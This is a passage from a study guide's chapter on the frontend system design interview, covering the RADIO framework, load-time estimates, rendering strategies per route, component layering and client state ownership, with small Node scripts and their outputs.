System Design NotesRohit’s interview study guide
Chapter 13

Frontend System Design: Foundations

The frontend round from requirements to optimisations: rendering strategies, component and state architecture, client caching, virtual lists, real-time updates, Core Web Vitals, loading, offline, accessibility, security and micro-frontends, with the logic run in Node and the numbers calculated.

13 topics
Parts marked Advanced are extra depth. Skip them on a first read or a quick revision.

#The frontend system design round

Added

In a classic system design round the system is a fleet of servers and the question is how it survives a million users. In a frontend system design round the system is the app running in one user's browser, and the question is how it stays fast, correct and usable on a device you don't control, over a network you don't control, through every state the data can be in. You still draw boxes, but they are components, stores, caches and network calls; you still give numbers, but they are kilobytes, milliseconds on a slow phone and rows on a screen rather than queries per second.

The interviewer is looking for the same signals as in the backend round (scoping, trade-offs, communication, depth) applied to the client: Can you split a UI into components with clear ownership? Do you know where each piece of state should live? Can you design the API the client needs, not just consume one? Do you think about loading, empty, error, offline and slow states without being asked? Do you know what makes a page slow, inaccessible or insecure, and what you'd do about it?

A good mental model is that you are designing for ten thousand machines you will never see. Each one is a different phone with a different CPU, screen, network and assistive technology, running your code at the same time. A backend architect controls the hardware and scales it; you can't. Every byte you ship and every millisecond of main-thread work is paid for on the slowest of those machines, and every state you forget to design is a blank screen for someone.

A widely used structure for the round is RADIO: Requirements, Architecture, Data model, Interface, Optimisations. It's the frontend version of the backend framework (requirements → estimates → API → data model → design → deep dives), and it gives the interviewer a map of where you are.

R Requirements features, users devices, scale A Architecture components data flow D Data model entities, stores who owns what I Interface server API props, events O Optimisations perf, a11y, i18n offline, security the first four are the skeleton (~22 min); optimisations are where depth shows
RADIO: the order to work through a frontend design round.

The time split matters as much as the order. Candidates who fail this round usually spend twenty minutes on the component tree and never reach the part where they would have shown depth. Put a budget on it, the same way you'd estimate QPS:

radio-budget.mjs
// RADIO time budget for a 45-minute frontend design round (5 min intro, 5 min questions at the end).
const total = 45;
const reserved = { intro: 5, "your questions": 5 };
const design = total - Object.values(reserved).reduce((a, b) => a + b, 0);

// Share of the design time per RADIO step (a rule of thumb, not a law).
const radio = [
  ["R  Requirements", 0.15],
  ["A  Architecture", 0.2],
  ["D  Data model", 0.15],
  ["I  Interface (API)", 0.15],
  ["O  Optimisations", 0.35],
];

let clock = reserved.intro;
for (const [step, share] of radio) {
  const minutes = Math.round(design * share);
  console.log(`${step.padEnd(20)} ${String(minutes).padStart(2)} min   (${clock}–${clock + minutes})`);
  clock += minutes;
}
console.log(`design time used: ${clock - reserved.intro} of ${design} min`);
Result
R  Requirements       5 min   (5–10)
A  Architecture       7 min   (10–17)
D  Data model         5 min   (17–22)
I  Interface (API)    5 min   (22–27)
O  Optimisations     12 min   (27–39)
design time used: 34 of 35 min
What’s happening
  1. A 45-minute slot isn't 45 minutes of design: about 5 go on introductions and 5 on your questions at the end, so design is 45 − 10 = 35 minutes. If your slot is 60 minutes, change total and the split scales with it.
  2. Each RADIO step gets a share of those 35 minutes. Requirements, data model and interface get 15% each (35 × 0.15 = 5.25, rounded to 5), architecture 20% (7 minutes) and optimisations 35% (12.25 → 12).
  3. The clock variable turns the shares into wall-clock checkpoints: requirements end at minute 10, architecture at 17, data model at 22, interface at 27, optimisations at 39. Glance at the clock at those points; if you're at minute 25 and still drawing components, cut to the interface.
  4. Rounding leaves one of the 35 minutes unassigned (34 of 35), which is slack you will use: interviewers interrupt with questions.
  5. The biggest share goes to optimisations on purpose. The first four steps are the skeleton any competent candidate draws; performance, accessibility, offline behaviour and security are where the interviewer learns your level. The shares are a rule of thumb, not a law: an interviewer who wants to go deep on the data model early is giving you a hint, so follow it.
AdvancedRADIO deliverables for a news feed

What each step produces, using a news feed as the running example (the full design is in Design a news feed UI):

StepYou produceFor a news feed
RequirementsFunctional list, non-functional targets, what's out of scopeRead feed, like, comment, new-post banner; mobile web first; LCP under 2.5 s on a mid-range phone; no offline posting
ArchitectureComponent tree, where data enters, rendering strategyFeedPage → FeedList (virtualised) → FeedItem → LikeButton; SSR the first page, CSR after
Data modelClient entities and stores, who owns each piece of stateNormalised posts, users, comments by id; feed = list of post ids plus a cursor
InterfaceServer API the client needs, component props and eventsGET /feed?cursor=…&limit=20, POST /posts/:id/like; FeedItem({ postId }), onLike
OptimisationsThe deep dives, in order of impactVirtualisation, image loading, optimistic likes, real-time banner, accessibility of the feed, XSS in user content

Requirements deserve their own checklist, because the frontend has questions the backend round doesn't:

  • Who and where: which devices (mobile web, desktop, both?), which browsers must work, which countries and languages, right-to-left scripts?
  • What the network is like: fast office Wi-Fi or a phone on a train? Must it work offline, or only survive a flaky connection?
  • SEO and sharing: does the page need to be indexed or produce link previews? That decides rendering more than anything else.
  • Data shape and scale: how long can the list get (50 items or 50,000)? How big are items? How often does the data change, and must changes appear live?
  • Accessibility and compliance: which WCAG level, which assistive technologies? Is there content regulation (cookie consent, data residency)?
  • Who else is on the page: third-party scripts (ads, analytics), other teams' code, a design system you must use?
AdvancedFrontend estimates: a feed's first load

The backend round estimates QPS and storage. The frontend equivalent is bytes and round trips on a slow connection, because that is what decides whether you meet a loading target. Lighthouse's default mobile profile is a good stand-in for a mid-range phone: 150 ms round-trip time and 1.6 Mbps down, which its documentation describes as roughly the bottom quarter of 4G connections (Lighthouse docs/throttling.md, checked October 2026).

feed-estimate.mjs
// First load of a news-feed page on Lighthouse's mobile profile (150 ms RTT, 1.6 Mbps down).
const RTT = 0.15; // seconds
const MBPS = 1.6;
const seconds = (kb) => (kb * 1024 * 8) / (MBPS * 1_000_000);

const posts = 20; // first page of the feed
const critical = {
  html: 25, // KB, compressed
  css: 30,
  js: 180,
  "feed JSON": posts * 1.2, // 1.2 KB per post
  "3 images above the fold": 3 * 60,
};
const later = { "17 images below the fold": 17 * 60, "15 avatars": 15 * 4 };

const sum = (o) => Object.values(o).reduce((a, b) => a + b, 0);
for (const [name, kb] of Object.entries({ ...critical, ...later })) {
  console.log(`${name.padEnd(25)} ${kb.toFixed(0).padStart(5)} KB  ${seconds(kb).toFixed(2)} s`);
}
const criticalKb = sum(critical);
const connect = 3 * RTT; // DNS + TCP + TLS 1.3, roughly one round trip each
const requestRounds = 3 * RTT; // HTML, then CSS/JS, then feed JSON and images: three dependent round trips
console.log(`critical bytes: ${criticalKb.toFixed(0)} KB -> ${(connect + requestRounds + seconds(criticalKb)).toFixed(2)} s on the wire`);
console.log(`everything:     ${(criticalKb + sum(later)).toFixed(0)} KB -> ${seconds(criticalKb + sum(later)).toFixed(2)} s of transfer`);
Result
html                         25 KB  0.13 s
css                          30 KB  0.15 s
js                          180 KB  0.92 s
feed JSON                    24 KB  0.12 s
3 images above the fold     180 KB  0.92 s
17 images below the fold   1020 KB  5.22 s
15 avatars                   60 KB  0.31 s
critical bytes: 439 KB -> 3.15 s on the wire
everything:     1519 KB -> 7.78 s of transfer
What’s happening
  1. seconds(kb) converts kilobytes to transfer time at 1.6 Mbps: kb × 1024 × 8 bits divided by 1,600,000 bits per second. 180 KB of JavaScript is 1,474,560 / 1,600,000 = 0.92 s of pure transfer, before the phone spends any time parsing it.
  2. critical is everything the user needs to see the first screen: HTML, CSS, JavaScript, the first page of feed data (20 posts × 1.2 KB = 24 KB) and the three images above the fold (180 KB). Together that's 439 KB.
  3. Bytes aren't the only cost. Before any byte flows, DNS, TCP and TLS cost about three round trips (connect = 0.45 s), and the resources depend on each other: the HTML must arrive before the browser finds the CSS and JS, and the JS (or the HTML) before it asks for the feed and images. Three dependent rounds is another 0.45 s. Total: 0.9 + 2.25 = 3.15 s on the wire.
  4. 3.15 s already misses a 2.5 s LCP target, so this estimate tells you what to optimise before you've drawn a component: the images and the JavaScript dominate the critical bytes. Server-rendering the first page (feed data in the HTML, one round trip fewer), smaller image formats and less JavaScript are the levers.
  5. The 17 images below the fold are 1,020 KB, more than double the critical path. If they loaded eagerly they would compete for the same 1.6 Mbps with the first screen; lazy loading them (loading="lazy") is what keeps the critical path at 439 KB. Total transfer for everything would be 7.78 s.
The estimate says 3.15 s. What gets it under 2.5 s?

Using the feed estimate above: which two changes to the critical bytes bring the first screen under 2.5 s, and by how much?

Show answer

Encode the three above-the-fold images as AVIF at about half the size (60 → 30 KB each) and cut the JavaScript from 180 to 120 KB. That saves 150 KB and lands at 2.38 s.

feed-fix.mjs
const RTT = 0.15, MBPS = 1.6;
const seconds = (kb) => (kb * 1024 * 8) / (MBPS * 1_000_000);
const overhead = 6 * RTT; // connect (3) + three dependent rounds (3)
const target = 2.5;
const before = 439; // KB of critical bytes from feed-estimate.mjs
const mustSave = Math.ceil(((overhead + seconds(before) - target) * MBPS * 1_000_000) / 8 / 1024);
const after = before - 3 * (60 - 30) - (180 - 120); // smaller hero images, less JS
console.log(`must save at least ${mustSave} KB`);
console.log(`after: ${after} KB -> ${(overhead + seconds(after)).toFixed(2)} s`);
Result
must save at least 127 KB
after: 289 KB -> 2.38 s
What’s happening
  1. The fixed cost is six round trips at 150 ms: 0.9 s. That leaves 2.5 − 0.9 = 1.6 s for transfer, which at 1.6 Mbps is 312.5 KB. The page has 439 KB, so it must lose at least 127 KB (mustSave rounds up so the result really fits).
  2. The images: three at 60 KB → three at 30 KB saves 90 KB. Modern formats commonly halve JPEG sizes at similar quality, but measure on your own images; 50% is an assumption here.
  3. The JavaScript: 180 → 120 KB saves 60 KB, from route-level code splitting (see Loading strategy) or dropping a dependency.
  4. 439 − 90 − 60 = 289 KB, which is 289 × 8192 / 1.6e6 = 1.48 s of transfer plus 0.9 s of round trips: 2.38 s. Removing a round trip (SSR the first feed page) would give another 0.15 s of headroom, which is the next thing to say.
AdvancedGotcha: designing the backend instead

#Rendering strategies for an app

Added

Every page has to become HTML at some point, and the strategies differ in where that happens (on a server, at build time, or in the browser) and when (per request, once per deploy, or on a schedule). Client-side rendering (CSR) ships a near-empty page and JavaScript that builds it. Server-side rendering (SSR) builds the HTML per request, then the browser downloads the same components and hydrates them to make them interactive. Static site generation (SSG) does the SSR work once at build time. Incremental static regeneration (ISR) is SSG with an expiry. Streaming SSR sends the HTML in pieces as each part's data arrives. Islands send static HTML with only a few interactive components hydrated.

The design decision isn't "which framework" but which strategy per route, because a real app has pages with very different needs: a marketing page is the same for everyone and must be indexed; a dashboard is different for every user and never indexed; a product page is mostly the same for everyone but its price and stock change.

A mental model: a newspaper. SSG is the printed edition: made once, copied cheaply to every doorstep (a CDN), stale until the next edition. ISR is reprinting each hour. SSR is a reporter who writes your copy when you ask for it: always fresh, but someone has to do the work for every reader. Streaming is handing you the front page now and the inner pages as they're written. CSR is posting you a kit of scraps and glue: the first read is slow because you assemble it, but after that you can rearrange it instantly yourself. Islands are a printed page with a few live widgets glued on.

CSR content + ready 2.5 s SSR, blocking content 1.7 s ready 3.3 s SSR, streaming content 1.1 s ready 2.7 s SSG on a CDN content 0.7 s ready 2.3 s 0 s 0.5 s 1 s 1.5 s 2 s 2.5 s 3 s 3.5 s connect HTML data on the critical path JS download + run hydrate
When content appears and when the page responds, from the model below (150 ms RTT, 1.6 Mbps, 200 KB of JS).

The timeline comes from a model you can change. Every number in it is a stated assumption, so in an interview you can say "with these assumptions", then argue about the assumptions:

render-timeline.mjs
// When does a product page show content and become interactive? Times in ms.
// Network: 150 ms RTT, 1.6 Mbps (Lighthouse mobile). The rest are stated assumptions.
const RTT = 150;
const xfer = (kb) => Math.round((kb * 8192) / 1600); // ms to download kb at 1.6 Mbps
const connect = 3 * RTT; // DNS + TCP + TLS
const JS = 200; // KB of app JavaScript
const runJs = 300; // parse + execute it on a mid-range phone
const hydrate = 150; // attach the framework to server HTML
const api = 300; // product query
const slowApi = 900; // "you may also like" recommendations

// recs: "html" = in the first response, "stream" = flushed later on the same response, "client" = fetched by JS
function plan(name, { ttfb, htmlKb, contentInHtml, recs }) {
  const html = connect + ttfb + xfer(htmlKb);
  const js = html + RTT + xfer(JS) + runJs; // the script tag is found in the HTML
  const content = contentInHtml ? html : js + RTT + api; // CSR asks for the data only after its JS runs
  const interactive = contentInHtml ? js + hydrate : content;
  const recsAt = { html, stream: connect + RTT + slowApi + xfer(5), client: js + RTT + slowApi }[recs];
  const row = [content, interactive, recsAt].map((t) => String(t).padStart(5));
  console.log(`${name.padEnd(15)} content ${row[0]}  interactive ${row[1]}  recs ${row[2]}`);
}

plan("CSR", { ttfb: RTT, htmlKb: 2, contentInHtml: false, recs: "client" });
plan("SSR, blocking", { ttfb: RTT + slowApi, htmlKb: 40, contentInHtml: true, recs: "html" });
plan("SSR, streaming", { ttfb: RTT + api, htmlKb: 40, contentInHtml: true, recs: "stream" });
plan("SSG on a CDN", { ttfb: 30, htmlKb: 40, contentInHtml: true, recs: "client" });
Result
CSR             content  2534  interactive  2534  recs  3134
SSR, blocking   content  1705  interactive  3329  recs  1705
SSR, streaming  content  1105  interactive  2729  recs  1526
SSG on a CDN    content   685  interactive  2309  recs  3209
What’s happening
  1. Every strategy pays the same connect (three round trips for DNS, TCP and TLS: 450 ms) and the same JavaScript cost: one more round trip once the HTML reveals the <script> tag, xfer(200) = 1,024 ms to download 200 KB at 1.6 Mbps, and 300 ms to parse and run it. What differs is what's in the first response and what has to wait for what.
  2. CSR: the HTML is a 2 KB shell, so it arrives early (610 ms), but it has no content. The JavaScript finishes at 2,084 ms and only then asks for the product: one round trip plus the 300 ms query, so content and interactivity both land at 2,534 ms. The recommendations, also fetched by the client, arrive at 3,134 ms. CSR's first content is the slowest because the data request can't start until the code that makes it has run.
  3. Blocking SSR renders the whole page on the server, including the 900 ms recommendations query, before sending a byte. Content arrives at 1,705 ms, better than CSR, but the browser only discovers the script then, so the page isn't interactive until 3,329 ms: later than CSR. That's SSR's trap: the slowest query sets the time to first byte, and the gap between "looks ready" and "is ready" (here 1.6 s) is when taps do nothing.
  4. Streaming SSR sends the page as soon as the product query is done (300 ms) and flushes the recommendations later on the same response (1,526 ms), so content arrives at 1,105 ms and interactivity at 2,729 ms. The slow query no longer holds the whole page hostage.
  5. SSG on a CDN has no server work at all: the HTML is a file at the edge (30 ms to answer), so content arrives at 685 ms. But the recommendations are per-visit data that can't be baked into a static file, so they are fetched by the client (3,209 ms). Static wins for what's the same for everyone; anything personal or fast-changing has to come another way.
  6. Notice that interactivity is set by the JavaScript in every strategy: 2.3–3.3 s here, because 200 KB on this phone costs 1.3 s however you render. Rendering strategy moves when the user sees content; only shipping less JavaScript (or hydrating less of it) moves when they can use it. That's the argument for islands and server components.
AdvancedCSR, SSR, SSG, ISR and islands compared
StrategyHTML madeGood forCosts
CSRIn the browserApps behind a login: dashboards, editors, adminSlow first content, needs JS for anything, weak for SEO and link previews
SSRPer request, on a serverPersonalised or fast-changing pages that must be indexedServer work per request; TTFB set by the slowest data; hydration cost
Streaming SSRPer request, sent in chunksSSR pages with one slow partNeeds a framework and server that stream; status code and headers are sent before the slow part is known
SSGAt build timeDocs, blogs, marketingStale until the next build; build time grows with page count
ISRAt build or first request, regenerated after a TTL or on demandLarge catalogues, newsUsers may see a version up to one TTL old; needs a platform that supports it
IslandsStatic HTML, a few hydrated componentsContent sites with small interactive partsInteractivity between islands needs care; less suited to app-like pages
AdvancedChoosing per route

Three questions decide most routes: Must it be indexed or previewed? Is it different per user? How often does it change? Writing the decision as code makes the reasoning explicit:

choose-strategy.mjs
// Pick a rendering strategy per route from three questions.
function choose({ seo, perUser, changes }) {
  if (!seo && perUser) return "CSR (behind login, SPA shell)";
  if (perUser) return "SSR, streaming (personalised and indexed)";
  if (changes === "never") return "SSG (build time)";
  if (changes === "minutes") return "ISR / CDN cache with revalidation";
  return "SSR, cached briefly at the CDN";
}

const routes = [
  ["/", { seo: true, perUser: false, changes: "minutes" }],
  ["/about", { seo: true, perUser: false, changes: "never" }],
  ["/p/:id (product)", { seo: true, perUser: false, changes: "minutes" }],
  ["/search?q=", { seo: true, perUser: false, changes: "seconds" }],
  ["/feed (signed in)", { seo: false, perUser: true, changes: "seconds" }],
  ["/u/:name (profile)", { seo: true, perUser: true, changes: "seconds" }],
  ["/settings", { seo: false, perUser: true, changes: "seconds" }],
];
for (const [route, page] of routes) console.log(`${route.padEnd(20)} ${choose(page)}`);
Result
/                    ISR / CDN cache with revalidation
/about               SSG (build time)
/p/:id (product)     ISR / CDN cache with revalidation
/search?q=           SSR, cached briefly at the CDN
/feed (signed in)    CSR (behind login, SPA shell)
/u/:name (profile)   SSR, streaming (personalised and indexed)
/settings            CSR (behind login, SPA shell)
What’s happening
  1. choose asks the questions in order of how strongly they constrain. A page that isn't indexed and is per user (/feed signed in, /settings) gains nothing from server HTML for crawlers, so CSR behind a login is the simple choice. Many teams still SSR the shell for a faster first paint; that's an optimisation, not a requirement.
  2. A page that is indexed and per user (/u/:name, a public profile with a "Follow" button that depends on who's looking) needs SSR. Streaming lets the public part go out first; the viewer-specific button can be a small client island so the rest can be cached.
  3. Pages that are the same for everyone split by how often they change: /about never changes between deploys (SSG); / and product pages change every few minutes (ISR or a CDN cache with revalidation); search results depend on the query and change constantly, so they are SSR with a short CDN cache keyed by the URL.
  4. The output is the answer an interviewer wants to hear: not "we'll use Next.js" but a per-route table with a reason for each row. Modern frameworks (Next.js, Remix/React Router framework mode, Nuxt, Angular with SSR, Astro) all let you choose per route.
AdvancedHydration, islands and server components

Hydration is the hidden cost of SSR. The browser has server HTML, but to make it interactive it downloads the components that made it, runs them again, and attaches event handlers to the existing DOM. Until that finishes, the page looks ready and isn't. Three ideas reduce it:

  • Islands (Astro's model): the page is static HTML; only the components you mark interactive ship JavaScript and hydrate, each independently.
  • Server components (React Server Components in Next.js App Router): components that only render on the server never ship to the client at all; only 'use client' components hydrate.
  • Resumability (Qwik): the server serialises enough state that the client doesn't re-run components to attach handlers; code loads when an interaction needs it.

All three attack the same number from the model: JavaScript the client must download and run before the page responds.

#Component architecture

Added

Component architecture is about ownership and boundaries: which component knows where data comes from, which only knows how to draw it, which part of the tree a failure or a loading state is contained in, and which code is allowed to depend on which. Get the boundaries right and features can change independently; get them wrong and a change to the cart breaks the feed.

Three ideas carry most of it. Container and presentational components: one kind knows the data source and the actions, the other takes props and renders markup, so the markup can be reused, tested and shown in a component catalogue without a server. Composition over configuration: instead of a Card with fifteen props (showHeader, headerIcon, footerAlign…), the caller passes the parts as children. Layers: design tokens at the bottom, then primitives, components, patterns, features and the app on top, with imports only going down.

A mental model: LEGO. Tokens are the plastic colours. Primitives are the basic bricks. Components are the standard pieces (a door, a wheel). Patterns are small assemblies (a car). Features are sections of the model (the fire station). The app is the finished city. You can build any section from the pieces box, but you never glue a fire station into the pieces box, or the next city gets a fire station whether it wants one or not.

app routes, layouts, providers features feed/, cart/, profile/: data + UI patterns SearchBar, DataTable, Card components Button, Input, Avatar, Dialog primitives Box, Stack, Text, VisuallyHidden tokens color.brand, space.2, radius.md imports only go down the bottom four are the design system; features and app belong to product teams
Layers of a frontend codebase. A layer may use anything below it and nothing above it.

Here are the first two ideas in React 19. The test below (Vitest and React Testing Library in the React sandbox) renders both parts and passes:

FeedItem.jsx
import { createContext, use, useState } from "react";

// A compound component: the caller composes the parts instead of passing a dozen props.
export function Card({ children }) {
  return <article className="card">{children}</article>;
}
Card.Header = ({ children }) => <header className="card-header">{children}</header>;
Card.Body = ({ children }) => <div className="card-body">{children}</div>;
Card.Footer = ({ children }) => <footer className="card-footer">{children}</footer>;

// Presentational: props in, markup out. No fetching, no store.
export function FeedItemView({ author, text, likes, liked, onLike }) {
  return (
    <Card>
      <Card.Header>{author}</Card.Header>
      <Card.Body>{text}</Card.Body>
      <Card.Footer>
        <button aria-pressed={liked} onClick={onLike}>
          Like ({likes})
        </button>
      </Card.Footer>
    </Card>
  );
}

// Container: knows where the data lives and what "like" means.
const FeedStore = createContext(null);
export function FeedProvider({ initial, children }) {
  const [posts, setPosts] = useState(initial);
  const like = (id) => setPosts((p) => ({ ...p, [id]: { ...p[id], liked: true, likes: p[id].likes + 1 } }));
  return <FeedStore value={{ posts, like }}>{children}</FeedStore>;
}
export function FeedItem({ postId }) {
  const { posts, like } = use(FeedStore);
  const post = posts[postId];
  return <FeedItemView author={post.author} text={post.text} likes={post.likes} liked={post.liked} onLike={() => like(postId)} />;
}
What’s happening
  1. Card is a compound component: Card.Header, Card.Body and Card.Footer are parts the caller arranges. The card doesn't need a showFooter flag or a footerContent prop; if you don't want a footer, you don't write one. That's composition over configuration, and it's why the component won't grow a new prop for every new use.
  2. FeedItemView is presentational: everything it shows arrives as props (author, text, likes, liked) and the one thing it can do is call onLike. The test renders it with plain values and no store: the article's text is "AshaShipping v2!Like (3)", and clicking the button calls the mock onLike once. You can render it in a component catalogue, in a test, or in a different app.
  3. FeedProvider owns the data (useState here; a query cache or a store in a real app) and the meaning of like. React 19 lets you render the context itself as the provider (<FeedStore value=…>) and read it with use(FeedStore).
  4. FeedItem is the container: given only a postId, it reads the post from the store and wires like(postId) to the view's onLike. In the second test, clicking "Like (3)" through the container updates the store, the view re-renders as "Like (4)", and aria-pressed becomes "true".
  5. The split puts each kind of change in one place: a redesign touches FeedItemView and Card; switching from REST to GraphQL touches the provider and the container. Today hooks often replace explicit container components (usePost(postId) inside the view's parent), but the boundary is the same: data access on one side, markup on the other.
AdvancedThe design-system layers in more detail

The design-system layers in more detail:

LayerContainsOwned byRule
TokensColours, spacing, type scale, radii, motion, as named values (often CSS custom properties)Design systemNo components; themes swap token values
PrimitivesLayout and text building blocks: Box, Stack, Text, VisuallyHiddenDesign systemOnly tokens; no product words
ComponentsAccessible controls: Button, Input, Dialog, Tabs, AvatarDesign systemKeyboard, focus and ARIA built in; no data fetching
PatternsCombinations: SearchBar, DataTable, EmptyStateDesign system or a platform teamStill product-agnostic
Featuresfeed/, cart/, profile/: data access, state and UI for one product areaA product teamMay use everything below; not another feature's internals
AppRoutes, layouts, providers, wiring features togetherThe app teamThe only place features meet
AdvancedEnforcing boundaries in CI

Rules written in a wiki decay; rules checked in CI hold. Tools such as ESLint's no-restricted-imports, eslint-plugin-boundaries or Nx module boundaries do this on real codebases. The check itself is simple:

layer-check.mjs
// Each layer may import only from layers below it. A lint rule like this keeps a design system healthy.
const layers = ["tokens", "primitives", "components", "patterns", "features", "app"];
const rank = Object.fromEntries(layers.map((l, i) => [l, i]));
const layerOf = (path) => path.split("/")[0];

const imports = [
  ["primitives/Box", "tokens/space"],
  ["components/Button", "primitives/Box"],
  ["components/Button", "tokens/color"],
  ["patterns/SearchBar", "components/Button"],
  ["features/feed/FeedItem", "patterns/Card"],
  ["components/Avatar", "features/profile/useProfile"], // a shared component reaching into a feature
  ["features/feed/FeedList", "features/cart/useCart"], // one feature importing another's internals
  ["app/routes/feed", "features/feed/FeedList"],
];

for (const [from, to] of imports) {
  const a = layerOf(from), b = layerOf(to);
  let verdict = "ok";
  if (rank[b] > rank[a]) verdict = `✗ ${a} must not depend on ${b} (upwards)`;
  else if (a === "features" && b === "features" && from.split("/")[1] !== to.split("/")[1])
    verdict = "✗ feature → feature: go through app or a shared layer";
  console.log(`${from.padEnd(26)} → ${to.padEnd(28)} ${verdict}`);
}
Result
primitives/Box             → tokens/space                 ok
components/Button          → primitives/Box               ok
components/Button          → tokens/color                 ok
patterns/SearchBar         → components/Button            ok
features/feed/FeedItem     → patterns/Card                ok
components/Avatar          → features/profile/useProfile  ✗ components must not depend on features (upwards)
features/feed/FeedList     → features/cart/useCart        ✗ feature → feature: go through app or a shared layer
app/routes/feed            → features/feed/FeedList       ok
What’s happening
  1. layers lists the layers bottom to top and rank gives each a number: tokens 0, primitives 1 … app 5. A file's layer is the first folder of its path.
  2. The first five imports go down or sideways within the rule (components/Button → primitives/Box is rank 2 → 1), so they pass.
  3. components/Avatar → features/profile/useProfile goes up (rank 2 → 4). This is the classic decay: a shared component needs one piece of profile data, imports the feature's hook, and now every app that uses Avatar pulls in the profile feature, its API client and its store. The fix is to pass the data in as a prop and let the feature-level container fetch it.
  4. features/feed/FeedList → features/cart/useCart is a feature reaching into another feature's internals. Both are rank 4, so the rank check allows it; the second rule catches it by comparing the feature folder names. Features talk through the app layer (props, events, a shared store contract) or through something moved down into a shared layer.
  5. In a monorepo the same graph decides what CI rebuilds (see Micro-frontends and monorepos), so clean boundaries also make builds faster.
AdvancedBoundaries for loading and failure

Component boundaries are also where you contain loading and errors. An error boundary around each feed item means one malformed post shows "couldn't display this post" instead of a blank page; a Suspense boundary around the recommendations shelf means it can stream in late (see Rendering strategies) without holding up the product. In a design round, mark these boundaries on your component tree: they are where you've decided what the user sees when part of the page is slow or broken.

#State: server state, client state and URL state

Added

Most frontend bugs that look like "the UI is out of date" or "the two counters disagree" are state-ownership bugs: the same fact stored in two places that drift apart. The fix starts with classifying state by who owns it, because each kind has a natural home:

  • Server state belongs to the server; the client holds a cached copy that can go stale (posts, the user's profile, search results). It needs fetching, caching, deduplication, refetching and invalidation, which is a query cache's job (see Data fetching and client caching).
  • URL state is what's in the address: the route, the selected tab, filters, the search query, the page. It's shareable, bookmarkable and survives reload and Back.
  • Client (app) state belongs to this browser session and is shared across components: theme, the open dialog, a draft that hasn't been saved, the logged-in user's preferences before they sync.
  • Local (component) state belongs to one component: the input's current text, whether a menu is open, hover.
  • Form state is a special case of local state with validation, dirty and touched flags; a form library usually owns it.

Two rules follow. Single source of truth: every fact has exactly one owner, and everything else reads from it or derives from it. Derive, don't copy: "filtered items" is computed from items and the filter, never stored next to them, or the two will disagree the first time one changes and the other doesn't.

A mental model: a library. Server state is the library's books: you have a borrowed copy, it can go out of date, and the library decides what's true. URL state is the shelf address you can write on a card and hand to a friend. Client state is your own bookmarks and notes. Local state is the page you're holding open right now. Most confusion comes from writing notes in the library's books.

Server owns the data Server state query cache: posts, users, search results can be stale Component tree reads, derives URL state ?q=shoes&page=2 Client store theme, draft, dialog Local state input text, isOpen sync one owner per fact; everything else reads or derives
Four homes for state. The query cache is a copy of the server's data, not a second owner.

Inside the server-state cache, the most important design choice is normalisation: store each entity once, by id, and have lists hold ids. An API response for a feed nests the same author in every post and comment; if you cache the nested shape, renaming a user means finding and patching every copy.

normalise.mjs
// A feed response nests the same author inside every post and comment.
const response = [
  { id: "p1", text: "Shipping v2!", author: { id: "u1", name: "Asha" },
    comments: [{ id: "c1", text: "Nice", author: { id: "u2", name: "Ben" } }] },
  { id: "p2", text: "Lunch?", author: { id: "u2", name: "Ben" },
    comments: [{ id: "c2", text: "Yes", author: { id: "u1", name: "Asha" } }] },
];

// Normalise: one table per entity type, references by id.
function normalise(posts) {
  const db = { users: {}, posts: {}, comments: {}, feed: [] };
  for (const p of posts) {
    db.users[p.author.id] = p.author;
    for (const c of p.comments) {
      db.users[c.author.id] = c.author;
      db.comments[c.id] = { id: c.id, text: c.text, authorId: c.author.id };
    }
    db.posts[p.id] = { id: p.id, text: p.text, authorId: p.author.id, commentIds: p.comments.map((c) => c.id) };
    db.feed.push(p.id);
  }
  return db;
}

const db = normalise(response);
console.log("users:", Object.keys(db.users).join(", "), "| posts:", db.feed.join(", "));
console.log("Asha appears in the response", JSON.stringify(response).split('"Asha"').length - 1, "times, in the store once");

// Ben renames himself: one write, and every view that reads by id sees it.
db.users.u2 = { ...db.users.u2, name: "Benjamin" };
const view = (postId) => {
  const p = db.posts[postId];
  const comments = p.commentIds.map((id) => `${db.users[db.comments[id].authorId].name}: ${db.comments[id].text}`);
  return `${db.users[p.authorId].name} — ${p.text} [${comments.join("; ")}]`;
};
for (const id of db.feed) console.log(view(id));
Result
users: u1, u2 | posts: p1, p2
Asha appears in the response 2 times, in the store once
Asha — Shipping v2! [Benjamin: Nice]
Benjamin — Lunch? [Asha: Yes]
What’s happening
  1. response is what a typical feed API returns: posts with an embedded author and embedded comments, each with its own embedded author. Asha (u1) appears twice: as the author of p1 and of comment c2.
  2. normalise walks the response once and builds one table per entity type: users, posts, comments, each keyed by id. Embedded objects become references: a post keeps authorId and commentIds, a comment keeps authorId. feed keeps the order as a list of post ids.
  3. The log confirms the effect: the response mentions "Asha" 2 times, the store holds her once. On a real feed with hundreds of posts from a few dozen people, the saving in memory is real, but consistency is the main point.
  4. Ben renames himself. With the normalised store that's one write: db.users.u2 = { ...db.users.u2, name: "Benjamin" }. The new object (not a mutation) matters in React-style UIs: components compare references to know what changed.
  5. view reads through the ids, so both places Ben appears update: he's "Benjamin" as the commenter on p1 and as the author of p2. With the nested shape you'd have had to find both copies, and the one you missed would be the bug report.
  6. This is what Redux Toolkit's createEntityAdapter, Apollo Client's cache (normalised by __typename and id) and Relay do for you. TanStack Query does not normalise: it caches per query key, so after a mutation you invalidate the queries that might contain the entity (or patch them with setQueryData). Both are valid; normalised caches cost more machinery, per-query caches cost more refetching.
AdvancedWhere each kind of state lives
KindLives inTypical toolsSurvives reload?
Server stateQuery cacheTanStack Query, SWR, Apollo, RTK Query, Angular httpResourceOnly if persisted (IndexedDB)
URL stateThe address barThe router, URLSearchParamsYes, and it's shareable
Client stateA store or contextRedux Toolkit, Zustand, signals, NgRx, contextOnly if persisted (localStorage)
Local stateThe componentuseState, signal()No
Form stateA form libraryReact Hook Form, Angular formsNo (save drafts deliberately)
AdvancedURL state as a first-class store

Anything a user might want to share, bookmark or come back to with the Back button belongs in the URL: filters, sort, the selected tab, the page or cursor, an open item's id. Treat the URL as a store with a schema: serialise deterministically, omit defaults, and validate on the way in.

url-state.mjs
// Filters for a product list live in the URL: shareable, bookmarkable, survive reload and Back.
const defaults = { q: "", sort: "relevance", page: 1, brands: [], inStock: false };

function toSearch(state) {
  const params = new URLSearchParams();
  for (const [key, value] of Object.entries(state)) {
    const def = defaults[key];
    if (JSON.stringify(value) === JSON.stringify(def)) continue; // keep URLs short: omit defaults
    if (Array.isArray(value)) [...value].sort().forEach((v) => params.append(key, v)); // stable order
    else params.set(key, String(value));
  }
  params.sort(); // same state -> same URL -> same cache key
  return params.toString();
}

function fromSearch(search) {
  const params = new URLSearchParams(search);
